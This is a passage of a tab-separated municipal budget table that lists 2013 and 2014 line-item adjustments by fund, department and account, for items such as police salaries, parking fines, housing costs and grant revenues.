40	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	403921.0	TEA 21 CAL INCLINE CONSTRUCTIO	610.0	Intergovernmental	2014	-2802552.0	0	0.0	0.0	560511	0	0.0	0	0.0	0	0	0.0	-2242041.0
41	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404420.0	5TH AND ARIZONA PARKING	608.0	Licenses and Permits	2014	-400000.0	0	0.0	0.0	0	0	-80000.0	0	0.0	0	0	0.0	-480000.0
42	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	410220.0	DOWNTOWN ADVERTISING REVENUE	612.0	Charges for Service	2014	0.0	0	0.0	0.0	0	0	-325326.0	0	0.0	0	0	0.0	-325326.0
43	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563161.0	FTA NEW FREEDOM GRANT	810.0	 Supplies and Expenses	2014	112052.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	112052.0
44	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	405170.0	CAM FEES	650.0	Charges for Service	2014	-422264.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-422264.0
45	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555061.0	PROF SVCS - LUCE MONITORING	816.0	 Supplies and Expenses	2014	325000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	325000.0
46	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
47	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2014	20421.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20421.0
48	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2014	114671.0	0	0.0	0.0	0	210	-1077.0	0	0.0	0	0	0.0	113804.0
49	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	53756.0	0	0.0	0.0	0	1253	-382.0	0	0.0	0	0	0.0	54627.0
50	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	26500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26500.0
51	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	2104443.0	0	0.0	0.0	-1146778	0	0.0	0	0.0	0	0	0.0	957665.0
52	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	404587.0	0	0.0	0.0	-181534	0	0.0	0	0.0	0	0	0.0	223053.0
53	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1050.0	0	0.0	0.0	-525	0	0.0	0	0.0	0	0	0.0	525.0
54	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	588090.0	FURNITURE & FURNISHINGS	804.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	30000	0	0.0	0	0.0	0	0	0.0	30000.0
55	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511498.0	OT PARAMEDIC SCHOOL	806.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	439218.0	0	0.0	0	0	0.0	439218.0
56	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544080.0	LICENSE TAGS / STICKERS	806.0	 Supplies and Expenses	2014	1150.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1150.0
57	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555320.0	ANIMAL SHELTER SUPPORT	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	110918.84	110918.84
58	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2014	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
59	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	569101.0	STRATEGIC PREVENTION FRAME- ST	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	48000	0.0	0	0.0	0	0	9600.0	57600.0
60	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	403751.0	BULLETPROOF VEST GRANT - 2014	610.0	Intergovernmental	2014	0.0	0	0.0	0.0	0	0	0.0	0	-30152.0	0	0	0.0	-30152.0
61	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511490.0	OVERTIME	804.0	Salaries and Wages	2014	0.0	0	0.0	0.0	5000	0	0.0	0	0.0	0	0	0.0	5000.0
62	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	0.0	0	0.0	0.0	5994	0	0.0	0	0.0	0	0	0.0	5994.0
63	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	480000	0	-480000.0	0	0.0	0	0	0.0	0.0
64	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	577830.0	WATER CONSERVATION REBATES		 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	2296225.0	2296225.0
65	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409022.0	ENRICHMENT-WINTER	612.0	Charges for Service	2014	0.0	0	0.0	0.0	0	0	0.0	-103983	0.0	0	0	0.0	-103983.0
66	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407060.0	KEC TENANT RENTALS	618.0	Rentals	2014	0.0	0	0.0	0.0	0	0	0.0	-122088	0.0	0	0	0.0	-122088.0
67	B1	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	810.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	20397.0	20397.0
68	B1	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	-1913.0	-1913.0
69	B1	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	808.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	33548.0	33548.0
70	B1	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	808.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	-14245.0	-14245.0
71	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522050.0	MEDICAL EXAMS		 Supplies and Expenses	2013	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
72	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	729749.0	0	0.0	0.0	0	0	0.0	7297	0.0	0	0	0.0	737046.0
73	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522720.0	MILEAGE	804.0	 Supplies and Expenses	2013	250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250.0
74	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2013	6683.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6683.0
75	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
76	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533110.0	SPECIAL EQUIPMENT-OPER SUPS	804.0	 Supplies and Expenses	2013	70000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70000.0
77	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
78	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	401150.0	MALL ASSESSMENT DISTRICT	622.0	Other	2013	-1133116.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1133116.0
79	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	401920.0	FARMERS' MARKET	622.0	Other	2013	-861000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-861000.0
80	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	401180.0	DISP COUNSELING FEE	612.0	Charges for Service	2013	-5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5000.0
81	B1	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404950.0	HOME INVESTMENT PARTNERSHIPS	610.0	Intergovernmental	2013	-461670.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-461670.0
82	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400730.0	CA VEHICLE CODE FINES	614.0	Fines and Forfeitures	2013	-500000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-500000.0
83	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400370.0	RESIDENTIAL BLDG REPORT	612.0	Charges for Service	2013	-165000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-165000.0
84	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2013	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
85	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2013	135000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	135000.0
86	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	407012.0	0	0.0	0.0	0	0	0.0	4070	0.0	0	0	0.0	411082.0
87	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511490.0	OVERTIME	816.0	Salaries and Wages	2013	1868.0	0	0.0	0.0	0	0	0.0	19	0.0	0	0	0.0	1887.0
88	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522130.0	UTILITIES - WATER	816.0	 Supplies and Expenses	2013	13668.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13668.0
89	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533120.0	SPECIAL EQUIP MAINT	816.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
90	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	555210.0	TRAINING	816.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
91	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511490.0	OVERTIME	810.0	Salaries and Wages	2013	2497.0	0	0.0	0.0	0	0	0.0	25	0.0	0	0	0.0	2522.0
92	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
93	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2013	17250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17250.0
94	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555110.0	LEGAL EXPENSE		 Supplies and Expenses	2013	215000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	215000.0
95	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	3690.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3690.0
96	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		EAP	808.0	Salaries and Wages	2013	522.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	522.0
97	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	566090.0	ENTERTAIN - PUBLIC GS	804.0	 Supplies and Expenses	2013	18000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18000.0
98	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511490.0	OVERTIME	806.0	Salaries and Wages	2013	32208.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	32208.0
99	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	543.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	543.0
100	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2013	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
101	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	1200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1200.0
102	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
103	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405010.0	AUTO IMPOUND RELEASE	612.0	Charges for Service	2013	-227551.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-227551.0
104	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400500.0	BUILDING PERMITS	612.0	Charges for Service	2013	-2475000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2475000.0
105	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	35996.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35996.0
106	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	5500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5500.0
107	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2013	19503.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19503.0
108	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2013	90000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	90000.0
109	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2013	80000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	80000.0
110	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	577230.0	FISCAL AGENT FEES	816.0	 Supplies and Expenses	2013	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
111	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522120.0	UTILITIES - NATURAL GAS	816.0	 Supplies and Expenses	2013	700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	700.0
112	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2013	8405.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8405.0
113	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2013	13000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13000.0
114	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533220.0	BLDG / STRUCTURE MAINTENANCE	816.0	 Supplies and Expenses	2013	616164.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	616164.0
115	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	215274.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	215274.0
116	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511490.0	OVERTIME	816.0	Salaries and Wages	2013	20296.0	0	0.0	0.0	0	0	0.0	203	0.0	0	0	0.0	20499.0
117	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	402380.0	SELF-INSURANCE, GEN LIAB/AUTO	650.0	Charges for Service	2013	-3000000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3000000.0
118	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2013	394358.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	394358.0
119	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	8594.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8594.0
120	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
121	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
122	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	425326.0	0	0.0	0.0	0	0	0.0	81668	0.0	0	0	0.0	506994.0
123	B1	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577720.0	CDBG REIMB-HUMAN SVC		 Supplies and Expenses	2013	59500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	59500.0
124	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400700.0	PARKING CITATION FINES	614.0	Fines and Forfeitures	2013	-14000000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14000000.0
125	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	404000.0	STC PROGRAM	610.0	Intergovernmental	2013	-5600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5600.0
126	B1	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2013	-2100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2100.0
127	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2013	800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	800.0
128	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522720.0	MILEAGE	816.0	 Supplies and Expenses	2013	400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	400.0
129	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
130	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2013	3689.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3689.0
131	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2013	1400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1400.0
132	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	1074.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1074.0
133	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	566730.0	REC / PARKS COMMISSION	810.0	 Supplies and Expenses	2013	2783.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2783.0
134	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	69007.0	0	0.0	0.0	0	0	0.0	690	0.0	0	0	0.0	69697.0
135	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
136	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	746938.0	0	0.0	47940.0	0	0	0.0	7949	0.0	0	0	0.0	802827.0
137	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
138	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	16779.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16779.0
139	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522520.0	LEGAL ADVERTISING	804.0	 Supplies and Expenses	2013	63000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	63000.0
140	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	1700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1700.0
141	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
142	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2013	24000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24000.0
143	B1	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577760.0	CDBG REIMB-HOUSING & ECON DEV		 Supplies and Expenses	2013	92000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	92000.0
144	B1	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400260.0	PROP K TORCA CONVERSION TAX	606.0	Other Local Taxes	2013	-80000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-80000.0
145	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401250.0	PLAN CHECK FEES-CITY PLANNING	612.0	Charges for Service	2013	-410938.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-410938.0
146	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401470.0	DEVELOPMENT AGREEMENTS	612.0	Charges for Service	2013	-175000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-175000.0
147	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401440.0	POLICE BILLABLE SERVICES	612.0	Charges for Service	2013	-451547.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-451547.0
148	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401450.0	POLICE SERVICES/FEES	612.0	Charges for Service	2013	-6868.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6868.0
149	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	7175.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7175.0
150	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	17000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17000.0
151	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	588090.0	FURNITURE & FURNISHINGS	804.0	 Supplies and Expenses	2013	750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	750.0
152	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522500.0	BOARDS AND COMMISSIONS	816.0	 Supplies and Expenses	2013	1300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1300.0
153	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
